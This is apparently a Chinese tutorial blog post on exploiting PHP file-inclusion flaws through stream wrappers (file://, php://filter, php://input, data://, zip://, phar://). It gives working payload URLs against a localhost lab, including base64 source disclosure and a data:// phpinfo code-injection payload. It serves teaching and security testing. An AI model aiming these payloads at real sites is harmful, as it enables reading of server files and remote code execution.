文件包含PHP伪协议利用方法

首先我们需要把配置文件php.ini

在 php.ini ⾥有两个重要的参数 allow_url_fopen 、allow_url_include;

allow_url_fopen:默认值是 ON。允许 url ⾥的封装协议访问⽂件;

allow_url_include:默认值是 OFF。不允许包含 url ⾥的封装协议包含⽂件;

file://协议

file://⽂件的绝对路径和⽂件名

127.0.0.1/1.php?cmd=file://F:/sxy/phpstudy_pro/WWW/1.txt

php://filter协议

127.0.0.1/1.php?cmd=php://filter/read=convert.base64-encode/resource=1.txt

进行base64解密

php://input协议

抓包进来这里是get传参右击修改

然后构造语句

放包回来就可以看到phpinfo了

data://

使⽤举例: ?file=data:text/plain,

?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=

?file=data:text/plain,

?cmd=data:text/plain,<?php%20phpinfo();?>

zip://

把1.txt压缩成zip文件

不能直接读取压缩包内的文件需要在中间加个%23

127.0.0.1/1.php?cmd=zip://1.zip%231.txt构造语句进行读取

phar://

⽤途:读取压缩包内的⽂件(绝对路径/相对路径)

它可以直接读取压缩包内的文件

127.0.0.1/1.php?cmd=phar://1.zip/1.txt

相关推荐
姑苏老陈4 分钟前
【Python基础】Python文件处理
开发语言·python·python文件操作
luoluoal6 分钟前
java项目之企业级工位管理系统源码(springboot)
java·开发语言·spring boot
ch_s_t8 分钟前
新峰商城之购物车(一)
java·开发语言
yukai0800812 分钟前
Python 全栈系列271 微服务踩坑记
python·微服务·php
学步_技术32 分钟前
Python编码系列—Python工厂方法模式:构建灵活对象的秘诀
开发语言·python·工厂方法模式
Deryck_德瑞克1 小时前
Java集合笔记
java·开发语言·笔记
MengYiKeNan1 小时前
C++二分函数lower_bound和upper_bound的用法
开发语言·c++·算法
会发paper的学渣1 小时前
python 单例模式实现
开发语言·python·单例模式
学步_技术1 小时前
Python编码系列—Python桥接模式:连接抽象与实现的桥梁
开发语言·python·桥接模式
柴华松1 小时前
GPU训练代码
开发语言·python